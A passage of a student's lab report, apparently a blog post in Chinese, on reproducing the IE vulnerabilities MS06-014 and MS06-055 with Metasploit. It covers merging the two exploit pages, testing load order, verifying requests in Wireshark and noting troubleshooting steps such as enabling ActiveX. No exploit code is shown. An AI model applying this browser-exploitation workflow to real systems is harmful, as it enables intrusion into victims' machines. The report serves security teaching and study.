两个监听任务启动后,我再次访问合并后的测试页面,观察 Metasploit 中的请求和回连情况。从终端现象看,其中一个漏洞能够得到回显,但另一个漏洞没有出现预期的回连结果。

单一回显现象

图 2-4-11 合并页面访问后只出现一个连接回显。

这里可以初步判断:虽然两个漏洞链接都被写入了同一个页面,但浏览器在加载第一个漏洞页面后可能出现异常,导致第二个漏洞没有正常完成触发流程。因此,我继续调整两个 URL 的加载顺序,验证是否与触发顺序有关。

2.4.5 调整加载顺序并再次验证

我分析可能是 u1 对应的漏洞先触发后导致 IE 浏览器异常,从而影响了 u2 对应漏洞的后续加载。为了验证这个猜想,我将 u1 和 u2 的内容互换,也就是先加载 MS06-014,再延迟加载 MS06-055。

调整 URL 加载顺序

图 2-4-12 修改测试页面中 u1 和 u2 的加载顺序。

修改完成后,我重新通过靶机浏览器访问测试页面,并观察两个漏洞监听窗口的输出情况。

调整顺序后的访问结果

图 2-4-13 调整加载顺序后重新访问测试页面。

从 Metasploit 的输出中可以看到,调整顺序后其中一个模块出现了连接回显。

调整顺序后的回显窗口

图 2-4-14 调整加载顺序后 Metasploit 显示连接回显。

另一个监听窗口中没有出现相同的回显结果,说明两个漏洞并没有同时稳定触发。

另一个监听窗口输出

图 2-4-15 调整加载顺序后另一个监听窗口的输出情况。

进一步观察后,我发现只有 MS06-014 成功得到了回显,这与前面的猜想基本一致:浏览器在触发其中一个漏洞后可能已经崩溃或进入异常状态,导致后续漏洞页面无法继续执行。

MS06-014 成功回显

图 2-4-16 调整加载顺序后 MS06-014 成功得到连接回显。

测试方式 加载顺序 观察现象 初步判断
第一次测试 先 MS06-055,后 MS06-014 只观察到一个回显 第一个漏洞可能影响后续加载
第二次测试 先 MS06-014,后 MS06-055 只有 MS06-014 成功回显 IE 触发漏洞后可能无法继续稳定执行后续页面
抓包验证 同时过滤两个 URI 可以看到相关请求记录 两个 URL 的访问情况需要结合流量进一步确认

2.4.6 使用 Wireshark 抓包验证请求过程

为了进一步验证浏览器是否访问了两个漏洞路径,我使用 Wireshark 对实验过程进行抓包,并设置过滤条件,只查看与两个漏洞路径相关的 HTTP 请求。

http.request.uri contains "ms06055" or http.request.uri contains "ms06014"

Wireshark 抓包过滤结果

图 2-4-17 使用 Wireshark 过滤 MS06-055 和 MS06-014 相关 HTTP 请求。

从抓包结果看,浏览器确实产生了与 ms06055 和 ms06014 相关的 HTTP 请求记录。结合 Metasploit 的回显现象,我判断合并页面能够发起两个漏洞路径的访问,但由于 IE 在漏洞触发过程中可能出现崩溃或执行中断,导致两个漏洞无法稳定同时获得回连。

综上,我最终判断:两个漏洞单独利用时都可以成功,但将两个漏洞页面合并到同一个 HTML 中后,浏览器的执行状态会影响后续漏洞的触发。抓包结果说明请求路径确实被访问过,但 Metasploit 回显结果表明两个漏洞并不能稳定同时完成利用。

三、遇到的问题

3.1 哈希计算的时候注意不要有换行

在计算下载地址或关键字符串的哈希值时,我一开始没有特别注意输入内容末尾是否包含换行符。后来对比发现,同一个字符串在“带换行”和“不带换行”的情况下,计算出的哈希值可能不同。因此,在进行 MD5 校验时,必须保证输入内容与实验中需要验证的字符串完全一致。

哈希计算结果对比

图 3-1-1 计算字符串哈希值时显示的结果。

重新计算哈希值

图 3-1-2 调整输入内容后重新计算哈希值。

这里我需要注意,哈希计算本质上是对完整输入内容进行计算,哪怕末尾多了一个换行符,也会导致最终结果发生变化。因此,在实验报告中记录哈希值时,要明确自己计算的是哪一段原始内容。

3.2 不要忘记把 eval() 删去

在分析 JavaScript 混淆代码时,我遇到的另一个问题是 eval() 函数。原始脚本中使用 eval() 执行解码后的内容,如果直接运行,可能会导致脚本被真正执行,不利于安全分析。

因此,我在解码前先将 eval() 去掉,只保留其中被执行的字符串内容。这样可以把动态执行过程转化为静态查看过程,便于继续分析脚本中隐藏的函数、变量和下载地址。

删除 eval 函数

图 3-2-1 对 JavaScript 代码中的 eval() 内容进行处理。

这里我的处理思路是:不要让可疑脚本直接执行,而是把它要执行的内容提取出来进行观察。这样可以降低分析风险,也更容易看清脚本真实逻辑。

3.3 访问没有回显

在漏洞验证过程中,我还遇到了访问页面后 Metasploit 没有回显的情况。排查后发现,这可能与 IE 浏览器的安全设置有关。如果 ActiveX、脚本执行等相关权限没有开启,浏览器可能无法正常触发实验中的漏洞页面。

双漏洞监听输出

图 3-3-1 在 IE 安全设置中调整 ActiveX 和脚本相关选项。

因此,我进入 IE 的安全设置中,检查并启用了与 ActiveX 控件和脚本执行相关的选项,使浏览器能够按照实验要求加载和执行页面内容。

IE 安全设置调整

图 2-4-10 双漏洞监听状态下 Metasploit 显示的请求输出。

> 如果访问漏洞页面后没有出现回显,我会优先从三个方向排查:一是 Metasploit 模块和监听端口是否配置正确,二是靶机浏览器是否真正访问到了对应 URL,三是 IE 的 ActiveX 和脚本权限是否满足实验环境要求。

四、心得体会

这次实践对我而言,最核心的冲击在于它打破了我对"漏洞利用"那种单纯的技术滤镜。以前觉得复现一个漏洞、跑通一个脚本就是掌握了技术,但真正上手后才发现,那些自动化的工具其实只是冰山一角。更底层的组件调用逻辑、脚本触发的微小时机,以及系统权限边界的反复拉锯,才是决定攻防成败的关键。如果看不透这些背后的运行机理,所谓的安全研究就很容易沦为一种机械的盲目尝试。

在拆解挂马样本时,我最深的感悟是恶意代码所展现出的那种"生态感"。它不再是一个简单的脚本,而是一套环环相扣的生存策略。从最开始如何悄无声息地潜伏,到如何探测环境的防御强度,再到多层混淆后的自我解密,这种完整的攻击链条让我意识到,防守方对抗的不是一段代码,而是一套精密的决策逻辑。在分析过程中,我反复在静态代码和动态抓包之间切换,这种抽丝剥茧的过程虽然枯燥,却也让我真正沉下心来,开始习惯在隔离环境里审视每一个字节的变动。

真正让我对"攻防"这两个字有了后怕感的,是联想到西北工业大学遭美国NSA网络攻击事件的调查报告。国家计算机病毒应急处理中心和相关技术团队溯源发现,NSA下属的"特定入侵行动办公室"(TAO)对西工大展开的并非一次性的打了就跑,而是长达数年、涉及上千次行动的持续潜伏——先用零日漏洞拿下边界服务器,再层层横向渗透到运维网和办公网,安装嗅探工具窃取账号口令,甚至专门部署"隐身"工具去清除自己的日志痕迹,只是为了能在里面待得更久、看得更深。这种案例让我突然理解了课上提到的一句让我印象特别深的话:高级的渗透测试,是能够持续的获取信息,持续潜伏,直到需要的时候才一举拿下对面。这跟我们平时演练里追求"打穿即成功"的思路完全是两个维度——真正的高手比拼的从来不是瞬间的爆破力,而是耐心、隐蔽和时机的把控,这也是为什么西工大事件里那些跳板机、伪装域名、消痕工具都要精心筹备许久才敢动手。

这种对"潜伏"和"时机"的敬畏感,也反过来印证了我在多漏洞组合验证时的体会。很多时候,决定能否复现成功的往往不是什么高深的技术,而是访问顺序的先后、失败回显里的一个特征码,甚至是流量里极其隐蔽的波动。这些看似不起眼的"噪音",在取证视角下其实都是最宝贵的证据——就像NSA攻击西工大的行动里,恰恰是攻击者一次手误留下的脚本报错信息,才成为溯源链条上的关键突破口。

这种思维的转变对我来说意义重大。它让我开始从一个只会观察现象的"操作者",尝试转变为一个能读懂对手节奏、寻找逻辑支撑的"分析者"。在网络安全这个领域,任何一点疏忽或操作的不规范都可能导致截然不同的结果,而真正的威胁往往不是喧闹的,反而是那种悄无声息、耐得住性子的长期潜伏。这种对规范的坚持和对细节的审慎,比掌握多少个Exp(漏洞利用工具)都要来得更扎实。

五、参考文献

[1] Microsoft 安全公告 MS06-014 - 严重

[2] CVE-2006-0003 - CVE 官方漏洞记录

[3] CVE-2006-4868 - CVE 官方漏洞记录

[4] IE漏洞学习笔记(一)Heap Spray - 安全客

[5] CyberChef 官方网站

[6] 逆向入门系列(2)静态分析工具 IDA 的使用 - CSDN

[7] 【抓包工具】实战:Wireshark 捕获过滤器的超全使用教程 - CSDN

posted @ 2026-06-14 21:57  20253902吴晨宇  阅读(19)  评论(0)    收藏  举报